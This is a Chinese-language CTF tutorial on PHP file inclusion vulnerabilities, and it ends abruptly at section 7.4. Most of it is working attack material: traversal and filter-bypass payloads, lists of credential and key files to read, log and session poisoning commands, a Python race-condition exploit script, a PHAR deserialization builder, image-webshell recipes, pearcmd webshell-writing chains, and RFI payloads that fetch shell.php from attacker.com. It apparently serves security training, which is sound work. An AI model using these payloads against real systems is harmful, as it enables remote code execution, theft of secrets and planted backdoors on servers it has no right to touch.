P02 文件包含漏洞

2022-03-10 CTF-WEB 詹英

梳理文件包含漏洞(File Inclusion)的原理、危险函数、利用技巧、RCE 方法与 WAF 绕过。

1、文件包含漏洞概述

1.1 定义

文件包含漏洞(File Inclusion Vulnerability)是指 Web 应用程序在包含(引入)外部文件时,将用户可控的变量直接作为文件路径参数,导致攻击者能够包含任意文件,轻则读取服务器敏感文件,重则执行任意代码(RCE)。

文件包含漏洞分为两大类:

类型 英文全称 包含位置 RCE 难度
本地文件包含 Local File Inclusion(LFI) 服务器本地文件 🟡 需要配合利用
远程文件包含 Remote File Inclusion(RFI) 远程 URL 文件 🔴 直接 RCE

危害:

危害类型 说明
敏感文件泄露 读取 /etc/passwd、配置文件、源码、密钥等
任意代码执行 包含含有 PHP 代码的文件,触发 RCE
WebShell 写入 配合文件上传、日志写入等方式落地 Shell
认证绕过 读取数据库配置,获取管理员凭据
信息收集 枚举服务器文件结构、进程信息

1.2 漏洞影响范围

文件包含漏洞主要存在于动态语言中,以 PHP 最为常见,其次为 JSP、ASP 等:

PHP     ★★★★★  最常见,include/require 系列函数
JSP     ★★★    <jsp:include>,<%@ include %>
ASP     ★★     Server.Execute,#include
Python  ★★     open() 配合 exec(),importlib
Node.js ★★     fs.readFile() 配合 eval()

1.3 形成原因与代码分析

文件包含漏洞的根本原因是:程序将用户可控的输入直接用于文件路径,且未进行有效的过滤或白名单校验。

用户输入(file 参数)
       ↓
include / require(未过滤)
       ↓
PHP 解释器读取并执行目标文件
(若目标文件含有 PHP 代码,则被执行)

1.4 典型漏洞代码

最简单的漏洞场景

<?php
// 危险:直接将 GET 参数用于文件包含
$page = $_GET['page'];
include($page);

// 攻击:?page=../../../../etc/passwd
// 攻击:?page=php://filter/convert.base64-encode/resource=index.php

带前后缀拼接

<?php
// 危险:添加了路径前缀和 .php 后缀
$page = $_GET['page'];
include("./pages/" . $page . ".php");

// 攻击(PHP < 5.3.4,空字节截断):?page=../../../../etc/passwd%00
// 攻击(路径穿越):?page=../config
// 攻击(伪协议绕过后缀):?page=php://filter/convert.base64-encode/resource=../config

变量覆盖导致的文件包含

<?php
// 危险:extract() 覆盖变量
extract($_GET);
include($template);

// 攻击:?template=../../../../etc/passwd
// 攻击:?template=php://input  POST: <?php system('id'); ?>

配置文件中的包含

<?php
// 危险:语言切换功能
$lang = $_COOKIE['language'];
include("lang/" . $lang . ".php");

// 攻击(Cookie 注入):Cookie: language=../../../../etc/passwd%00

1.5 动态语言中的其他包含方式

<?php
// PHP 常见包含写法(均可触发漏洞)
include($_GET['f']);
include_once($_GET['f']);
require($_GET['f']);
require_once($_GET['f']);

// 间接触发
$func = 'include';
$func($_GET['f']);

// 利用 auto_prepend_file / auto_append_file(php.ini 中配置)
// 若攻击者能控制 .user.ini,可设置自动包含文件
// .user.ini 内容:auto_prepend_file=/var/log/nginx/access.log

1.6 PHP 文件包含函数

函数 说明 找不到文件时 可包含远程?
include($file) 包含并执行文件 Warning,继续执行 ✅(需配置)
include_once($file) 包含执行,同一文件只包含一次 Warning,继续执行 ✅(需配置)
require($file) 包含并执行文件 Fatal Error,终止 ✅(需配置)
require_once($file) 包含执行,同一文件只包含一次 Fatal Error,终止 ✅(需配置)
readfile($file) 读取文件并直接输出(不执行 PHP) Warning
file_get_contents($file) 读取文件内容为字符串(不执行 PHP) Warning
file($file) 读取文件为数组(不执行 PHP) Warning
fopen($file, $mode) 打开文件句柄(不执行 PHP) Warning
highlight_file($file) 高亮显示 PHP 源码 Warning
show_source($file) 同 highlight_file Warning

⚠️ 注意: include/require执行文件中的 PHP 代码;readfile/file_get_contents 只读取内容,不执行 PHP。

1.7 触发远程包含的 PHP 配置

; php.ini 中控制远程包含的关键配置
allow_url_fopen = On     ; 允许通过 URL 打开文件(file_get_contents 等)
allow_url_include = On   ; 允许通过 URL 包含文件(include 等,默认 Off)

; 查看当前配置
<?php
echo ini_get('allow_url_fopen');    // 1 = On
echo ini_get('allow_url_include');  // 0 = Off(默认)
phpinfo();                          // 查看完整配置

1.8 其他语言危险包含函数

// JSP 文件包含(不执行包含文件中的 JSP 代码)
<%@ include file="<%=request.getParameter("page")%>" %>     // 静态包含(编译时)
<jsp:include page="<%= request.getParameter("page") %>" />  // 动态包含(运行时)

// Java readFile
new FileInputStream(request.getParameter("file"));
Files.readAllBytes(Paths.get(request.getParameter("file")));
# Python 危险读取(配合 exec)
exec(open(request.args.get('file')).read())

# Jinja2 模板读取
render_template(request.args.get('template'))
<!-- ASP 文件包含 -->
<!--#include file="<%= Request("page") %>"-->
Server.Execute(Request("page"))

1.9 漏洞分类总览

文件包含漏洞
├── 本地文件包含(LFI)
│   ├── 基础路径穿越(../)
│   ├── 绝对路径包含
│   ├── 空字节截断(PHP < 5.3.4)
│   ├── 路径截断(操作系统长度限制)
│   └── 转 RCE
│       ├── 日志文件污染(Apache/Nginx/SSH)
│       ├── Session 文件包含
│       ├── phpinfo 临时文件竞争
│       ├── /proc/self/fd 文件描述符
│       ├── 包含上传文件(图片马)
│       ├── pearcmd.php 利用
│       └── PHP 伪协议
│           ├── php://filter(读源码/绕过 exit)
│           ├── php://input(执行 POST 代码)
│           ├── data://(执行内联代码)
│           ├── phar://(反序列化 RCE)
│           └── zip://(包含压缩内 PHP)
└── 远程文件包含(RFI)
    ├── 直接包含 http/https
    ├── 包含 FTP 路径
    └── SMB/UNC 路径(Windows)

2、基础 LFI 利用

2.1 基础读取文件

# 直接包含绝对路径
?page=/etc/passwd
?page=/etc/shadow
?page=/var/www/html/config.php

# 路径穿越(相对路径)
?page=../../../etc/passwd
?page=../../../../etc/passwd
?page=../../../../../etc/passwd

# 带前缀时的穿越
# include("./pages/" . $page)
?page=../../../etc/passwd          # 穿越 pages/ 目录
?page=../../../../../../etc/passwd # 多级穿越确保成功

2.2 确定目录深度

# 不确定当前深度时,多加 ../ 不会出错(到根目录后不再回退)
?page=../../../../../../../../../../etc/passwd

# 通过报错信息判断路径
?page=test_nonexistent
# Warning: include(./pages/test_nonexistent.php): failed to open stream
# 从报错可得:当前包含路径为 ./pages/

# 利用 /proc/self/cwd 获取当前工作目录
?page=../../../proc/self/cwd     # 软链接指向当前目录

2.3 空字节截断(Null Byte,PHP < 5.3.4)

# 当代码在参数后拼接 .php 后缀时
# include("./pages/" . $page . ".php");

# 空字节(%00)截断后缀
?page=../../../../etc/passwd%00
?page=../../../etc/passwd%00

# URL 编码的空字节
?page=../../../../etc/passwd%00
?page=../../../../etc/passwd\0

2.4 路径截断(目录长度限制)

# 适用于 PHP < 5.3 / Windows
# 利用操作系统对路径长度的限制(Linux: 4096, Windows: 260)
# 用大量 ./ 或 /. 填充,使后缀 .php 超出长度被截断

?page=../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

# Windows 路径截断(利用 . 和空格)
?page=../../../../windows/win.ini.......(大量的点)
?page=../../../../windows/win.ini      (大量空格)

2.5 利用 Base64 编码读取 PHP 源码

# 使用 php://filter 读取 PHP 源码(不执行,Base64 编码输出)
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=config.php
?page=php://filter/convert.base64-encode/resource=../config/database.php

# 解码命令
echo "PD9waHAK..." | base64 -d

# Python 解码
import base64
print(base64.b64decode("PD9waHAK...").decode('utf-8', errors='ignore'))

3、敏感文件路径速查

3.1 Linux 系统文件

# 用户与认证
/etc/passwd                    # 用户列表(含用户名/Shell)
/etc/shadow                    # 密码哈希(需 root)
/etc/group                     # 用户组信息
/etc/sudoers                   # sudo 权限配置
/root/.ssh/id_rsa              # root SSH 私钥
/root/.ssh/authorized_keys     # root SSH 公钥
/home/{user}/.ssh/id_rsa       # 用户 SSH 私钥
/home/{user}/.bash_history     # 历史命令

# 系统信息
/etc/os-release                # 操作系统信息
/etc/hostname                  # 主机名
/etc/hosts                     # hosts 文件
/etc/resolv.conf               # DNS 配置
/proc/version                  # 内核版本
/proc/self/environ             # 当前进程环境变量(含密钥)
/proc/self/cmdline             # 当前进程命令行
/proc/self/cwd                 # 当前工作目录(软链接)
/proc/self/exe                 # 当前进程二进制(软链接)
/proc/self/maps                # 内存映射
/proc/net/tcp                  # TCP 连接(含内网端口)
/proc/net/fib_trie             # 路由信息(含内网 IP)

# Web 服务器配置
/etc/apache2/apache2.conf      # Apache 主配置
/etc/apache2/sites-enabled/*   # Apache 虚拟主机配置
/etc/nginx/nginx.conf          # Nginx 主配置
/etc/nginx/sites-enabled/*     # Nginx 站点配置
/etc/nginx/conf.d/*            # Nginx 额外配置

# 日志文件(可用于日志污染)
/var/log/apache2/access.log    # Apache 访问日志
/var/log/apache2/error.log     # Apache 错误日志
/var/log/nginx/access.log      # Nginx 访问日志
/var/log/nginx/error.log       # Nginx 错误日志
/var/log/auth.log              # 认证日志(含 SSH 登录记录)
/var/log/mail.log              # 邮件日志
/proc/self/fd/0                # 标准输入
/proc/self/fd/1                # 标准输出
/proc/self/fd/2                # 标准错误

# PHP 相关
/etc/php/*/php.ini             # PHP 配置文件
/etc/php/*/fpm/pool.d/*.conf   # PHP-FPM 配置
/var/lib/php/sessions/         # PHP Session 存储目录
/tmp/sess_{SESSID}             # PHP Session 文件

# 数据库配置(常见 Web 框架)
/var/www/html/config.php
/var/www/html/.env             # Laravel / Django 配置
/var/www/html/wp-config.php    # WordPress 数据库配置
/var/www/html/config/database.php  # ThinkPHP 数据库配置
/var/www/html/application/config/database.php

3.2 Windows 系统文件

# 系统文件
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\drivers\etc\networks
C:\Windows\repair\sam          # SAM 密码数据库备份
C:\Windows\System32\config\SAM # SAM 密码数据库(需权限)
C:\Windows\System32\config\SYSTEM

# Web 服务器
C:\inetpub\wwwroot\web.config  # IIS 配置
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\php\php.ini

# 用户相关
C:\Users\Administrator\.ssh\id_rsa
C:\Users\{user}\AppData\Roaming\...

3.3 Web 应用常见配置文件

# 通用
/.env                          # 环境变量配置(含数据库密码、API Key)
/config.php / config.inc.php   # PHP 配置
/database.php                  # 数据库配置
/settings.py                   # Django 设置
/application.properties        # Spring Boot 配置
/application.yml               # Spring Boot YAML 配置

# 框架特定
/wp-config.php                 # WordPress
/configuration.php             # Joomla
/config/config.inc.php         # phpMyAdmin
/config/database.php           # CodeIgniter / Laravel
/application/config/database.php  # ThinkPHP
/.htpasswd                     # Apache 认证文件

4、路径穿越技巧

4.1 基础穿越

# 标准路径穿越
../
../../
../../../
../../../..

# 绝对路径(无需穿越)
/etc/passwd
/var/www/html/config.php

4.2 编码绕过过滤

# URL 编码
..%2f     →  ../
..%5c     →  ..\(Windows)
%2e%2e%2f →  ../
%2e%2e/   →  ../
..%2F     →  ../(大写)

# 双重 URL 编码
..%252f   →  ..%2f  →  ../
%252e%252e%252f  →  ../

# Unicode / UTF-8 编码
..%c0%af  →  ../(非标准 UTF-8,部分服务器接受)
..%c1%9c  →  ..\(Windows)
%ef%bc%8f →  /(全角斜杠)
%e2%80%a8 →  换行符(绕过某些检测)

# 混合编码
%2e%2e/   →  ../
.%2e/     →  ../
%2e./     →  ../

# 多重斜杠
....//    →  ../(过滤 ../ 后剩余 ../)
....\/    →  ..\(Windows)
..././    →  ../(过滤 ./ 后剩余 ../)

4.3 绕过 str_replace 过滤

// 目标过滤代码
$page = str_replace('../', '', $_GET['page']);
// 或
$page = str_replace(['../', '..\\'], '', $_GET['page']);
# 嵌套绕过(过滤非递归时)
....//          过滤 ../ 后 → ../
....\/          过滤 ..\ 后 → ..\
..././          过滤 ./ 后 → ../
..\.\           过滤 .\  后 → ..\

# 大小写绕过(Windows 不区分大小写)
..\
.../
..%5C           → ..\

# 完整绕过示例
?page=....//....//....//etc/passwd
?page=..././..././..././etc/passwd

4.4 绕过路径前缀限制

// 目标过滤代码
if (strpos($page, '/var/www/html') !== 0) die('Invalid path');
include($page);
# 满足前缀要求的同时进行穿越
?page=/var/www/html/../../../etc/passwd
?page=/var/www/html/../../../../etc/passwd

5、LFI 转 RCE 方法

当存在本地文件包含但无法上传文件时,需要借助服务器上已有的可写文件实现 RCE。

5.1 日志文件污染

原理: 将 PHP 代码写入服务器日志文件,再通过 LFI 包含该日志文件,触发代码执行。

Apache 访问日志污染

# 步骤一:向 User-Agent 中注入 PHP 代码(该内容会被写入访问日志)
curl -s "http://target.com/" -H "User-Agent: <?php system(\$_GET['cmd']); ?>"

# 或通过 Burp Suite 修改 User-Agent 头
# User-Agent: <?php system($_GET['cmd']); ?>

# 步骤二:包含日志文件并触发执行
?page=/var/log/apache2/access.log&cmd=id
?page=/var/log/apache/access.log&cmd=id

# 常见 Apache 日志路径
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/apache/access.log
/var/log/apache/error.log
/usr/local/apache/log/access_log
/usr/local/apache2/log/access_log

Nginx 访问日志污染

# 步骤一:注入代码
curl -s "http://target.com/<?php system(\$_GET['cmd']); ?>"
# 将 PHP 代码放在 URL 路径中,Nginx 会将请求 URI 写入日志

# 步骤二:包含日志
?page=/var/log/nginx/access.log&cmd=id
?page=/var/log/nginx/error.log&cmd=id

# 常见 Nginx 日志路径
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/nginx/logs/access.log

SSH 认证日志污染

# 步骤一:使用含 PHP 代码的用户名尝试 SSH 登录
# 登录失败,但用户名会被写入 /var/log/auth.log
ssh '<?php system($_GET["cmd"]); ?>'@target.com

# 步骤二:包含 auth.log
?page=/var/log/auth.log&cmd=id

# 注意:某些系统的 auth.log 需要 root 权限读取

邮件日志污染

# 若目标安装了 sendmail,尝试发送含 PHP 代码的邮件
# 收件人中注入 PHP 代码
# 或利用 mail() 函数:<?php mail('<?php system($_GET["cmd"]); ?>', '', '', ''); ?>
# 包含:/var/log/mail.log

5.2 Session 文件包含

原理: PHP Session 文件存储在服务器本地,若 Session 内容可控,则可将 PHP 代码写入 Session 文件,再通过 LFI 包含。

步骤详解

# 步骤一:向 Session 中写入 PHP 代码
# 假设目标代码如下:
# $_SESSION['username'] = $_GET['user'];
# 访问:
curl "http://target.com/index.php?user=<?php system(\$_GET['cmd']); ?>"

# 步骤二:获取当前 Session ID
# 从响应 Cookie 中获取 PHPSESSID
# 例如:PHPSESSID = abc123def456

# 步骤三:计算 Session 文件路径
# 默认路径格式:{session_save_path}/sess_{PHPSESSID}
# 常见路径:
/var/lib/php/sessions/sess_abc123def456
/var/lib/php/session/sess_abc123def456
/tmp/sess_abc123def456
/var/tmp/sess_abc123def456

# 步骤四:包含 Session 文件
?page=/var/lib/php/sessions/sess_abc123def456&cmd=id

查找 Session 存储路径

# 从 phpinfo() 获取 session.save_path
?page=php://filter/convert.base64-encode/resource=phpinfo.php
# 查找 session.save_path 字段

# 常见 session.save_path 值
/var/lib/php/sessions
/var/lib/php5/sessions
/tmp
/var/tmp
/run/shm

Session 文件格式分析

# PHP Session 文件内容格式(序列化):
# 变量名|序列化数据
username|s:28:"<?php system($_GET['cmd']); ?>";
# 文件内容可预测,包含后 PHP 会解析其中的 PHP 代码

5.3 phpinfo 临时文件竞争

原理: PHP 在处理文件上传时,会将上传的文件保存为临时文件(/tmp/phpXXXXXX),在 phpinfo() 页面中会显示该临时文件路径。通过竞争条件(Race Condition),在临时文件被删除前包含它。

攻击流程:
1. 发现目标存在 phpinfo() 页面
2. 不断发送包含恶意 PHP 代码的文件上传请求
3. phpinfo() 页面中出现临时文件路径:/tmp/phpXXXXXX
4. 同时不断向 LFI 接口发送包含该路径的请求
5. 在极短的时间窗口内包含临时文件,触发 RCE
import sys
import threading
import multiprocessing
import requests

# 攻击脚本(简化版)
PHPINFO_URL = "http://target.com/phpinfo.php"
LFI_URL = "http://target.com/index.php?page="
WEBSHELL = "<?php system($_GET['cmd']); ?>"
EXPLOIT_FILE = ("----boundary\r\n"
                "Content-Disposition: form-data; name='file'; filename='exploit.php'\r\n"
                "Content-Type: text/plain\r\n\r\n"
                f"{WEBSHELL}\r\n"
                "----boundary--\r\n")

def send_exploit():
    """不断发送文件上传请求,使临时文件存在"""
    while True:
        requests.post(PHPINFO_URL,
                      data=EXPLOIT_FILE,
                      headers={"Content-Type": "multipart/form-data; boundary=--boundary"})

def include_tmpfile():
    """不断请求 phpinfo,提取临时文件路径,然后包含"""
    import re
    while True:
        r = requests.post(PHPINFO_URL,
                          data=EXPLOIT_FILE,
                          headers={"Content-Type": "multipart/form-data; boundary=--boundary"})
        match = re.search(r'\[tmp_name\] =&gt; (\/tmp\/php\w+)', r.text)
        if match:
            tmpfile = match.group(1)
            result = requests.get(LFI_URL + tmpfile + "&cmd=id")
            if "uid=" in result.text:
                print(f"[+] RCE Success! tmpfile: {tmpfile}")
                print(result.text)
                break

# 多线程攻击
t1 = threading.Thread(target=send_exploit)
t2 = threading.Thread(target=include_tmpfile)
t1.daemon = True
t1.start()
t2.start()
t2.join()

5.4 /proc/self/fd 文件描述符

原理: Linux 的 /proc/self/fd/ 目录下包含当前进程打开的所有文件描述符的软链接。如果 Apache/PHP 仍然持有日志文件的文件描述符,可以通过 /proc/self/fd/N 访问。

# 步骤一:污染日志文件(同日志污染方法)
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/

# 步骤二:枚举文件描述符(通常 fd/0-20 范围)
for i in $(seq 0 30); do
    curl -s "http://target.com/index.php?page=/proc/self/fd/$i&cmd=id" | grep uid
done

# 或 Burp Intruder 枚举 fd 编号
?page=/proc/self/fd/10&cmd=id
?page=/proc/self/fd/11&cmd=id
...

# 常见 fd 编号
# fd/0  - 标准输入
# fd/1  - 标准输出
# fd/2  - 标准错误
# fd/3+ - 打开的文件(日志等)
# 利用 /proc/self/fd/0(stdin)
# 某些情况下可以通过标准输入传入 PHP 代码
# 结合 phpinfo 的文件上传,/proc/self/fd/0 指向上传的临时文件

5.5 包含上传文件

原理: 若目标网站允许文件上传(如图片),可将 PHP 代码嵌入图片(制作图片马),通过 LFI 包含该图片文件,触发 PHP 代码执行。

图片马制作

# 方法一:直接拼接(简单粗暴)
echo '<?php system($_GET["cmd"]); ?>' >> image.jpg
# 或
cat image.jpg <(echo '<?php system($_GET["cmd"]); ?>') > shell.jpg

# 方法二:图片文件头 + PHP 代码
printf '\xff\xd8\xff<?php system($_GET["cmd"]); ?>' > shell.jpg   # JPEG
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif         # GIF
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell.png # PNG

# 方法三:使用工具注入 EXIF
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

# 方法四:Python 制作
python3 -c "
data = open('real.jpg', 'rb').read()
php_code = b'<?php system(\$_GET[\"cmd\"]); ?>'
with open('shell.jpg', 'wb') as f:
    f.write(data + php_code)
"

包含图片马

# 上传后通过 LFI 包含
?page=./uploads/shell.jpg&cmd=id
?page=/var/www/html/uploads/shell.jpg&cmd=id

# 注意:若服务器对上传文件做了二次处理(如重新压缩),PHP 代码可能被清除
# 建议将代码嵌入 EXIF Comment 字段(压缩通常不影响)

5.6 pearcmd.php 利用

原理: Docker 官方 PHP 镜像默认安装 pear 工具,/usr/local/lib/php/pearcmd.php 可被利用将任意内容写入文件。

# 利用条件:
# 1. 服务器安装了 pear(Docker PHP 镜像默认有)
# 2. 存在文件包含漏洞
# 3. register_argc_argv = On(Docker 镜像默认开启)

# pearcmd.php 路径(通常)
/usr/local/lib/php/pearcmd.php

# 利用方式(通过 URL 参数控制 argv)
?+config-create+/&page=/usr/local/lib/php/pearcmd.php&/<?php system($_GET['cmd']);?>+/tmp/shell.php

# 分解:
# +config-create+ → pear 命令 config-create
# /               → 第一个参数(config root)
# /<?php...?>     → 第二个参数(config file 路径,被写入 PHP 代码)
# /tmp/shell.php  → 写入目标路径

# 写入后包含
?page=/tmp/shell.php&cmd=id

# 更完整的利用链
# 1. 写入 WebShell
?+config-create+/&page=/usr/local/lib/php/pearcmd.php&/<?php system($_GET[cmd]);?>+/var/www/html/shell.php

# 2. 直接访问
http://target.com/shell.php?cmd=id

5.7 Nginx 缓存文件

# Nginx FastCGI 缓存路径(需知道缓存目录配置)
# 通常在 /var/cache/nginx/ 或 /tmp/nginx/
# 缓存文件名为 URL MD5 哈希

# 污染缓存:访问含 PHP 代码的 URL
curl "http://target.com/<?php system(\$_GET['cmd']); ?>"
# Nginx 会将响应缓存,若缓存文件路径可被包含...

# 通过 /proc/self/fd 获取缓存文件描述符
?page=/proc/self/fd/7&cmd=id

6、PHP 伪协议全解

PHP 伪协议(PHP Stream Wrappers)是 PHP 内置的 URL 形式的资源访问方式,在文件包含场景中可实现读取源码、执行代码等操作。

6.1 php://filter

php://filter 是文件包含中最常用的伪协议,用于读取 PHP 源码。

基础用法

# 语法:php://filter/过滤器链/resource=目标文件

# Base64 编码读取(最常用,防止 PHP 代码被执行)
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=/etc/passwd
?page=php://filter/convert.base64-encode/resource=../config/database.php

# ROT13 编码读取
?page=php://filter/string.rot13/resource=index.php

# 多种过滤器链式
?page=php://filter/string.toupper/convert.base64-encode/resource=index.php

# 不编码直接读取(文件中若有 PHP 代码会被执行,适合读取非 PHP 文件)
?page=php://filter/resource=/etc/passwd

可用的过滤器

# 字符串过滤器
string.rot13              ROT-13 编码
string.toupper            转为大写
string.tolower            转为小写
string.strip_tags         去除 HTML/PHP 标签

# 转换过滤器
convert.base64-encode     Base64 编码
convert.base64-decode     Base64 解码
convert.quoted-printable-encode   QP 编码
convert.iconv.*.*         字符集转换(可触发 RCE,见 Filter Chain)

# 压缩过滤器(需 zlib 扩展)
zlib.deflate             压缩
zlib.inflate             解压
bzip2.compress           bzip2 压缩
bzip2.decompress         bzip2 解压

# 加密过滤器(PHP < 7.1)
mcrypt.*                  各种加密算法
mdecrypt.*                各种解密算法

绕过 "死亡 exit" 写入 WebShell

// 目标代码(写文件时插入 exit,阻止直接执行)
$content = '<?php exit; ?>' . $_POST['content'];
file_put_contents($_GET['filename'], $content);
# 方法一:Base64 解码绕过
# 原理:<?php exit; ?> 中的有效 Base64 字符为 phpexit(7 字节)
# Base64 每 3 字节为一组,7 字节 = 2组+1字节,填充为 pphpexit(8字节=3组)
# 因此构造:p(填充)+ 真正Payload 的 Base64 编码

# content 的 Base64 构造:
# pphpexit = base64: cHBocGV4aXQ=
# 要写入的 PHP: <?php system($_GET['cmd']); ?>
# 先 base64 encode: PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

# Payload(filename 使用 filter 链解码写入):
POST /index.php?filename=php://filter/convert.base64-decode/resource=shell.php
Content: content=pPD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
# 前缀 p 使 <?php exit;?> 中的内容 base64 解码后变成乱码,但真正的 payload 正常写入
# 方法二:ROT13 编码绕过
# <?php exit; ?> 经 ROT13 → <?cuc rkvg; ?>(无效 PHP)
# 将真正 Payload 进行 ROT13 编码后传入

?filename=php://filter/write=string.rot13/resource=shell.php
content: <?cuc flfgrz($_TRG['pzq']); ?>  (ROT13 of <?php system($_GET['cmd']); ?>)
# 方法三:iconv 字符集转换(Filter Chain 高级用法)
?filename=php://filter/convert.iconv.UTF-8.UTF-7/resource=shell.php
# 配合特定字符集转换,使 <?php exit; ?> 失效

6.2 php://input

php://input 读取 POST 请求的原始数据,允许将 POST 数据作为 PHP 代码执行。

# 使用条件:allow_url_include = On(PHP 5.2 默认 Off)

# 基础 RCE
GET: ?page=php://input
POST: <?php system('id'); ?>

# 写入 WebShell
GET: ?page=php://input
POST: <?php file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST[cmd]); ?>'); ?>

# 读取文件
GET: ?page=php://input
POST: <?php echo file_get_contents('/etc/passwd'); ?>

# 带参数的执行
GET: ?page=php://input&cmd=id
POST: <?php system($_GET['cmd']); ?>

# 使用 curl 发送
curl -X POST "http://target.com/index.php?page=php://input" \
     -d "<?php system('id'); ?>"

6.3 data://

data:// 伪协议将数据直接嵌入 URL,无需外部文件。

# 使用条件:allow_url_include = On

# 直接执行内联 PHP 代码
?page=data://text/plain,<?php system('id'); ?>
?page=data://text/plain,<?php phpinfo(); ?>

# Base64 编码(绕过 <?php 等关键字过滤)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
# Base64 decode: <?php system('id'); ?>

# 更多 Base64 Payload
# <?php system('id'); ?>
echo -n "<?php system('id'); ?>" | base64
# PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==

# <?php system($_GET['cmd']); ?>
echo -n "<?php system(\$_GET['cmd']); ?>" | base64
# PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

# URL 编码版本(绕过部分过滤)
?page=data:text/plain,%3c%3fphp+system(%27id%27)%3b+%3f%3e

# 写入 WebShell
?page=data://text/plain;base64,PD9waHAgZmlsZV9wdXRfY29udGVudHMoJy90bXAvc2hlbGwucGhwJywnPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+Jyk7ID8+
# 解码: <?php file_put_contents('/tmp/shell.php','<?php @eval($_POST[cmd]);?>'); ?>

6.4 phar://

phar:// 协议可以访问 PHP 归档文件(PHAR)内部的文件,并在访问时触发对 PHAR 文件元数据的反序列化。

# 使用条件:
# 1. PHP >= 5.3.0
# 2. 可以上传 .phar 文件(或通过其他方式在服务器放置 phar 文件)
# 3. 目标文件操作函数(不仅限于 include)

# 可触发 phar 反序列化的函数(非常广泛!)
file_exists(), is_file(), is_dir(), stat()
file_get_contents(), file_put_contents()
fopen(), readfile(), opendir()
include(), require()
copy(), rename(), unlink()
imageloadfont(), imagecreatefromxxx()
md5_file(), sha1_file(), hash_file()
getimagesize(), exif_read_data()
zip_open(), zip_entry_read()

构造恶意 PHAR 文件

<?php
// 构造含恶意对象的 PHAR 文件
class EvilClass {
    public $cmd = 'id';
    function __destruct() {
        system($this->cmd);
    }
}

// 需要 phar.readonly = Off
// 在命令行运行:php -d phar.readonly=0 create_phar.php

@unlink('evil.phar');
$phar = new Phar('evil.phar');
$phar->startBuffering();

// 添加一个文件(必须有)
$phar->addFromString('test.txt', 'test');

// 设置 stub(PHAR 文件头)
$phar->setStub('<?php __HALT_COMPILER(); ?>');

// 设置恶意元数据(序列化对象)
$obj = new EvilClass();
$obj->cmd = 'id > /tmp/pwned.txt';
$phar->setMetadata($obj);

$phar->stopBuffering();
echo "PHAR created: evil.phar\n";
?>
# 伪装成图片(绕过文件类型检测)
cp evil.phar evil.jpg
# PHAR 文件的有效 JPEG 头:
python3 -c "
phar = open('evil.phar', 'rb').read()
# 添加 JPEG 文件头
jpeg_header = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00'
with open('evil.jpg', 'wb') as f:
    f.write(jpeg_header + phar)
"

# 上传 evil.jpg 后触发
?page=phar:///var/www/html/uploads/evil.jpg/test.txt
# 触发 EvilClass::__destruct(),执行 system('id')

6.5 zip://

zip:// 可以访问 ZIP 压缩包内的文件,并执行其中的 PHP 代码。

# 语法:zip://路径/zip文件#内部文件名
# 注意:# 在 URL 中需编码为 %23

# 步骤一:将 shell.php 压缩为 zip
zip shell.zip shell.php
# shell.php 内容:<?php system($_GET['cmd']); ?>

# 步骤二:上传 shell.zip(可伪装为图片等)
# 重命名:mv shell.zip shell.jpg

# 步骤三:通过 zip:// 包含
?page=zip:///var/www/html/uploads/shell.jpg%23shell.php&cmd=id
# %23 = #

# 也可以用绝对路径
?page=zip://C:/xampp/htdocs/uploads/shell.zip%23shell.php&cmd=whoami  # Windows

6.6 expect://

expect:// 需要 expect 扩展(默认未安装),可直接执行命令:

# 使用条件:PHP 安装了 expect 扩展(少见)
?page=expect://id
?page=expect://whoami
?page=expect://cat /etc/passwd

6.7 file://

file:// 是访问本地文件系统的伪协议,使用绝对路径:

# 读取本地文件(适合某些只过滤 ../  但不过滤 file:// 的情况)
?page=file:///etc/passwd
?page=file:///var/www/html/config.php
?page=file://localhost/etc/passwd
?page=file:///C:/Windows/win.ini  # Windows

# 注意:file:// 与直接路径 /etc/passwd 功能相同
# 在某些场景下 file:// 可以绕过对 / 开头路径的过滤

7、RFI 利用技巧

7.1 基础 RFI

# 使用条件:allow_url_fopen = On 且 allow_url_include = On

# HTTP/HTTPS 远程包含
?page=http://attacker.com/shell.php
?page=https://attacker.com/shell.php

# FTP 远程包含
?page=ftp://attacker.com/shell.php
?page=ftp://user:pass@attacker.com/shell.php

# Windows SMB/UNC 路径(Windows 服务器)
?page=\\attacker.com\share\shell.php
?page=//attacker.com/share/shell.php

7.2 RFI 攻击载荷

// attacker.com 上的 shell.php
<?php system($_GET['cmd']); ?>

// 更隐蔽的一句话
<?php @eval($_POST['cmd']); ?>

// 写入持久化 WebShell
<?php file_put_contents('/var/www/html/backdoor.php', '<?php @eval($_POST[x]);?>'); ?>

7.3 绕过 RFI 过滤

# 目标过滤了 http:// 和 https://
# 方法1:大小写
?page=Http://attacker.com/shell.php
?page=HTTP://attacker.com/shell.php

# 方法2:用 // 代替 http://(某些场景)
?page=//attacker.com/shell.php

# 方法3:FTP 代替
?page=ftp://attacker.com/shell.php

# 方法4:data:// 本地构造(不需要远程)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+

# 方法5:过滤了 . 时(绕过域名中的点)
?page=http://attacker%2Ecom/shell.php

# 目标添加了 .php 后缀
# 方法1:远程服务器使用 ? 截断后缀
?page=http://attacker.com/shell.php?
# 实际请求:http://attacker.com/shell.php?.php → 服务器忽略 ?.php

# 方法2:使用 # 截断(部分场景)
?page=http://attacker.com/shell.php%23

7.4 RFI 利用链

